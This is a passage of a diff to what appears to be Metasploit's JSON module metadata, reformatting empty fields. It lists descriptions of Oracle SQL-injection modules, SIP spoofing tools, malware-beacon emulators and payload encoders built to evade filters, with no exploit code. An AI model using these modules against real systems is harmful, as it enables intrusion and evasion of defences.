[], "rank": 300, "disclosure_date": "2007-10-17", "type": "auxiliary", @@ -64144,12 +55232,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb", @@ -64158,20 +55242,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/lt_mergeworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE", "fullname": "auxiliary/sqli/oracle/lt_mergeworkspace", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-22", "type": "auxiliary", @@ -64188,12 +55267,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb", @@ -64202,20 +55277,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/lt_removeworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE", "fullname": "auxiliary/sqli/oracle/lt_removeworkspace", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-13", "type": "auxiliary", @@ -64230,12 +55300,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb", @@ -64244,20 +55310,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/lt_rollbackworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE", "fullname": "auxiliary/sqli/oracle/lt_rollbackworkspace", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-05-04", "type": "auxiliary", @@ -64273,12 +55334,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb", @@ -64287,20 +55344,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_voip/asterisk_login": { "name": "Asterisk Manager Login Utility", "fullname": "auxiliary/voip/asterisk_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64314,12 +55366,8 @@ "platform": "", "arch": "", "rport": 5038, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/voip/asterisk_login.rb", @@ -64328,20 +55376,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_voip/cisco_cucdm_call_forward": { "name": "Viproy CUCDM IP Phone XML Services - Call Forwarding Tool", "fullname": "auxiliary/voip/cisco_cucdm_call_forward", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64379,8 +55422,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -64397,9 +55439,7 @@ "auxiliary_voip/cisco_cucdm_speed_dials": { "name": "Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool", "fullname": "auxiliary/voip/cisco_cucdm_speed_dials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64437,8 +55477,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -64463,9 +55502,7 @@ "auxiliary_voip/sip_deregister": { "name": "SIP Deregister Extension", "fullname": "auxiliary/voip/sip_deregister", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64473,18 +55510,12 @@ "ChrisJohnRiley" ], "description": "This module will attempt to deregister a SIP user from the provider. It\n has been tested successfully when the sip provider/server doesn't use REGISTER\n authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 04:43:37 +0000", "path": "/modules/auxiliary/voip/sip_deregister.rb", @@ -64493,20 +55524,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_voip/sip_invite_spoof": { "name": "SIP Invite Spoof", "fullname": "auxiliary/voip/sip_invite_spoof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64515,18 +55541,12 @@ "ChrisJohnRiley" ], "description": "This module will create a fake SIP invite request making the targeted device ring\n and display fake caller id information.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/voip/sip_invite_spoof.rb", @@ -64535,20 +55555,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_voip/telisca_ips_lock_control": { "name": "Telisca IPS Lock Cisco IP Phone Control", "fullname": "auxiliary/voip/telisca_ips_lock_control", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-17", "type": "auxiliary", @@ -64557,9 +55572,7 @@ "zirsalem" ], "description": "This module allows an unauthenticated attacker to exercise the\n \"Lock\" and \"Unlock\" functionality of Telisca IPS Lock for Cisco IP\n Phones. This module should be run in the VoIP VLAN, and requires\n knowledge of the target phone's name (for example, SEP002497AB1D4B).\n\n Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -64586,8 +55599,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -64604,9 +55616,7 @@ "auxiliary_vsploit/malware/dns/dns_mariposa": { "name": "VSploit Mariposa DNS Query Module", "fullname": "auxiliary/vsploit/malware/dns/dns_mariposa", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64620,12 +55630,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb", @@ -64634,20 +55640,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_vsploit/malware/dns/dns_query": { "name": "VSploit DNS Beaconing Emulation", "fullname": "auxiliary/vsploit/malware/dns/dns_query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64655,18 +55656,12 @@ "MJC" ], "description": "This module takes a list and emulates malicious DNS beaconing.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/malware/dns/dns_query.rb", @@ -64675,20 +55670,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_vsploit/malware/dns/dns_zeus": { "name": "VSploit Zeus DNS Query Module", "fullname": "auxiliary/vsploit/malware/dns/dns_zeus", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64702,12 +55692,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb", @@ -64716,20 +55702,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_vsploit/pii/email_pii": { "name": "VSploit Email PII", "fullname": "auxiliary/vsploit/pii/email_pii", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64737,9 +55718,7 @@ "willis" ], "description": "This auxiliary reads from a file and sends data which\n should be flagged via an internal or external SMTP server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 25, @@ -64763,20 +55742,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_vsploit/pii/web_pii": { "name": "VSploit Web PII", "fullname": "auxiliary/vsploit/pii/web_pii", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -64790,12 +55764,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/vsploit/pii/web_pii.rb", @@ -64804,20 +55774,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "encoder_cmd/base64": { "name": "Base64 Command Encoder", "fullname": "encoder/cmd/base64", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": null, "type": "encoder", @@ -64825,9 +55790,7 @@ "Spencer McIntyre" ], "description": "This encoder uses base64 encoding to avoid bad characters.", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Unix", "arch": "cmd", "rport": null, @@ -64841,17 +55804,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_cmd/brace": { "name": "Bash Brace Expansion Command Encoder", "fullname": "encoder/cmd/brace", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": null, "type": "encoder", @@ -64860,9 +55820,7 @@ "egypt " ], "description": "This encoder uses brace expansion in Bash and other shells\n to avoid whitespace without being overly fancy.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd", "rport": null, @@ -64876,17 +55834,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_cmd/echo": { "name": "Echo Command Encoder", "fullname": "encoder/cmd/echo", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": null, "type": "encoder", @@ -64894,9 +55849,7 @@ "hdm " ], "description": "This encoder uses echo and backlash escapes to avoid commonly restricted characters.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd", "rport": null, @@ -64910,17 +55863,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_cmd/generic_sh": { "name": "Generic Shell Variable Substitution Command Encoder", "fullname": "encoder/cmd/generic_sh", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -64928,9 +55878,7 @@ "hdm " ], "description": "This encoder uses standard Bourne shell variable substitution\n tricks to avoid commonly restricted characters.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -64944,17 +55892,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_cmd/ifs": { "name": "Bourne ${IFS} Substitution Command Encoder", "fullname": "encoder/cmd/ifs", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": null, "type": "encoder", @@ -64963,9 +55908,7 @@ "wvu " ], "description": "This encoder uses Bourne ${IFS} substitution to avoid whitespace\n without being overly fancy.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd", "rport": null, @@ -64979,17 +55922,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_cmd/perl": { "name": "Perl Command Encoder", "fullname": "encoder/cmd/perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -64997,9 +55937,7 @@ "hdm " ], "description": "This encoder uses perl to avoid commonly restricted characters.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd", "rport": null, @@ -65013,17 +55951,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_cmd/powershell_base64": { "name": "Powershell Base64 Command Encoder", "fullname": "encoder/cmd/powershell_base64", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "encoder", @@ -65031,9 +55966,7 @@ "Ben Campbell " ], "description": "This encodes the command as a base64 encoded command for powershell.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -65047,17 +55980,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_cmd/printf_php_mq": { "name": "printf(1) via PHP magic_quotes Utility Command Encoder", "fullname": "encoder/cmd/printf_php_mq", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65065,9 +55995,7 @@ "jduck " ], "description": "This encoder uses the printf(1) utility to avoid restricted\n characters. Some shell variable substitution may also be used\n if needed symbols are blacklisted. Some characters are intentionally\n left unescaped since it is assumed that PHP with magic_quotes_gpc\n enabled will escape them during request handling.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -65081,17 +56009,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_generic/eicar": { "name": "The EICAR Encoder", "fullname": "encoder/generic/eicar", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65099,9 +56024,7 @@ "todb " ], "description": "This encoder merely replaces the given payload with the EICAR test string.\n Note, this is sure to ruin your payload.\n\n Any content-aware firewall, proxy, IDS, or IPS that follows anti-virus\n standards should alert and do what it would normally do when malware is\n transmitted across the wire.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -65115,17 +56038,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_generic/none": { "name": "The \"none\" Encoder", "fullname": "encoder/generic/none", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65133,9 +56053,7 @@ "spoonm " ], "description": "This \"encoder\" does not transform the payload in any way.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -65149,17 +56067,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_mipsbe/byte_xori": { "name": "Byte XORi Encoder", "fullname": "encoder/mipsbe/byte_xori", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65169,9 +56084,7 @@ "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder. This encoder has been found useful on\n situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS\n architectures, this one is based on the xori instruction.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "mipsbe", "rport": null, @@ -65185,17 +56098,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_mipsbe/longxor": { "name": "XOR Encoder", "fullname": "encoder/mipsbe/longxor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65204,9 +56114,7 @@ "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder", - "references": [ - - ], + "references": [], "platform": "All", "arch": "mipsbe", "rport": null, @@ -65220,17 +56128,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_mipsle/byte_xori": { "name": "Byte XORi Encoder", "fullname": "encoder/mipsle/byte_xori", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65240,9 +56145,7 @@ "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder. This encoder has been found useful on\n situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS\n architectures, this one is based on the xori instruction.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "mipsle", "rport": null, @@ -65256,17 +56159,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_mipsle/longxor": { "name": "XOR Encoder", "fullname": "encoder/mipsle/longxor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65275,9 +56175,7 @@ "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder", - "references": [ - - ], + "references": [], "platform": "All", "arch": "mipsle", "rport": null, @@ -65291,17 +56189,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_php/base64": { "name": "PHP Base64 Encoder", "fullname": "encoder/php/base64", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": null, "type": "encoder", @@ -65309,9 +56204,7 @@ "egypt " ], "description": "This encoder returns a base64 string encapsulated in\n eval(base64_decode()), increasing the size by a bit more than\n one third.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "php", "rport": null, @@ -65325,17 +56218,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_php/hex": { "name": "PHP Hex Encoder", "fullname": "encoder/php/hex", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": null, "type": "encoder", @@ -65343,9 +56233,7 @@ "Julien Voisin" ], "description": "This encoder returns a hex string encapsulated in\n eval(hex2bin()), increasing the size by a bit more than\n a factor two.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "php", "rport": null, @@ -65359,17 +56247,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_php/minify": { "name": "PHP Minify Encoder", "fullname": "encoder/php/minify", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": null, "type": "encoder", @@ -65377,9 +56262,7 @@ "Julien Voisin" ], "description": "This encoder minifies a PHP payload by removing leasing spaces, trailing\n new lines, comments, …", - "references": [ - - ], + "references": [], "platform": "All", "arch": "php", "rport": null, @@ -65393,17 +56276,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_ppc/longxor": { "name": "PPC LongXOR Encoder", "fullname": "encoder/ppc/longxor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65412,9 +56292,7 @@ "hdm " ], "description": "This encoder is ghandi's PPC dword xor encoder with some size tweaks\n by HDM.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "ppc", "rport": null, @@ -65428,17 +56306,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_ppc/longxor_tag": { "name": "PPC LongXOR Encoder", "fullname": "encoder/ppc/longxor_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65447,9 +56322,7 @@ "hdm " ], "description": "This encoder is ghandi's PPC dword xor encoder but uses a tag-based\n terminator rather than a length.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "ppc", "rport": null, @@ -65463,17 +56336,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_ruby/base64": { "name": "Ruby Base64 Encoder", "fullname": "encoder/ruby/base64", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": null, "type": "encoder", @@ -65481,9 +56351,7 @@ "Robin Stenvi " ], "description": "This encoder returns a base64 string encapsulated in\n eval(%(base64 encoded string).unpack(%(m0)).first).", - "references": [ - - ], + "references": [], "platform": "All", "arch": "ruby", "rport": null, @@ -65497,17 +56365,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_sparc/longxor_tag": { "name": "SPARC DWORD XOR Encoder", "fullname": "encoder/sparc/longxor_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65516,9 +56381,7 @@ "hdm " ], "description": "This encoder is optyx's 48-byte SPARC encoder with some tweaks.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "sparc", "rport": null, @@ -65532,17 +56395,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x64/xor": { "name": "XOR Encoder", "fullname": "encoder/x64/xor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65550,9 +56410,7 @@ "sf " ], "description": "An x64 XOR encoder. Uses an 8 byte key and takes advantage of x64 relative addressing.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x64", "rport": null, @@ -65566,17 +56424,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x64/xor_context": { "name": "Hostname-based Context Keyed Payload Encoder", "fullname": "encoder/x64/xor_context", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65584,9 +56439,7 @@ "sfoso" ], "description": "Context-Keyed Payload Encoder based on hostname and x64 XOR encoder.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -65600,17 +56453,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x64/xor_dynamic": { "name": "Dynamic key XOR Encoder", "fullname": "encoder/x64/xor_dynamic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65619,9 +56469,7 @@ "phra" ], "description": "An x64 XOR encoder with dynamic key size", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x64", "rport": null, @@ -65635,17 +56483,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x64/zutto_dekiru": { "name": "Zutto Dekiru", "fullname": "encoder/x64/zutto_dekiru", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65653,9 +56498,7 @@ "agix" ], "description": "Inspired by shikata_ga_nai using fxsave64 to work under x64 systems.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x64", "rport": null, @@ -65669,17 +56512,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/add_sub": { "name": "Add/Sub Encoder", "fullname": "encoder/x86/add_sub", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65687,9 +56527,7 @@ "Melih Sarica " ], "description": "Encodes payload with add or sub instructions. This idea came\n from (offensive-security) muts' hp nnm 7.5.1 exploit.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65703,17 +56541,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/alpha_mixed": { "name": "Alpha2 Alphanumeric Mixedcase Encoder", "fullname": "encoder/x86/alpha_mixed", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": null, "type": "encoder", @@ -65722,9 +56557,7 @@ "skylined " ], "description": "Encodes payloads as alphanumeric mixedcase text. This encoder uses\n SkyLined's Alpha2 encoding suite.\n A pure alpha encoder is impossible without having a register that points at or near the shellcode.\n In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric.\n You can set BufferRegister for full alpha (see Encoder options for details).", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65738,17 +56571,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/alpha_upper": { "name": "Alpha2 Alphanumeric Uppercase Encoder", "fullname": "encoder/x86/alpha_upper", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": null, "type": "encoder", @@ -65757,9 +56587,7 @@ "skylined " ], "description": "Encodes payloads as alphanumeric uppercase text. This encoder uses\n SkyLined's Alpha2 encoding suite.\n A pure alpha encoder is impossible without having a register that points at or near the shellcode.\n In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric.\n You can set BufferRegister for full alpha (see Encoder options for details).", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65773,17 +56601,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/avoid_underscore_tolower": { "name": "Avoid underscore/tolower", "fullname": "encoder/x86/avoid_underscore_tolower", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65792,9 +56617,7 @@ "juan vazquez " ], "description": "Underscore/tolower Safe Encoder used to exploit CVE-2012-2329. It is a\n modified version of the 'Avoid UTF8/tolower' encoder by skape. Please check\n the documentation of the skape encoder before using it. As the original,\n this encoder expects ECX pointing to the start of the encoded payload. Also\n BufferOffset must be provided if needed.\n\n The changes introduced are (1) avoid the use of the 0x5f byte (underscore) in\n because it is a badchar in the CVE-2012-2329 case and (2) optimize the\n transformation block, having into account more relaxed conditions about bad\n characters greater than 0x80.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65808,17 +56631,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/avoid_utf8_tolower": { "name": "Avoid UTF8/tolower", "fullname": "encoder/x86/avoid_utf8_tolower", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65826,9 +56646,7 @@ "skape " ], "description": "UTF8 Safe, tolower Safe Encoder", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65842,17 +56660,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/bloxor": { "name": "BloXor - A Metamorphic Block Based XOR Encoder", "fullname": "encoder/x86/bloxor", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65860,9 +56675,7 @@ "sf " ], "description": "A Metamorphic Block Based XOR Encoder.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65876,17 +56689,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/bmp_polyglot": { "name": "BMP Polyglot", "fullname": "encoder/x86/bmp_polyglot", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, 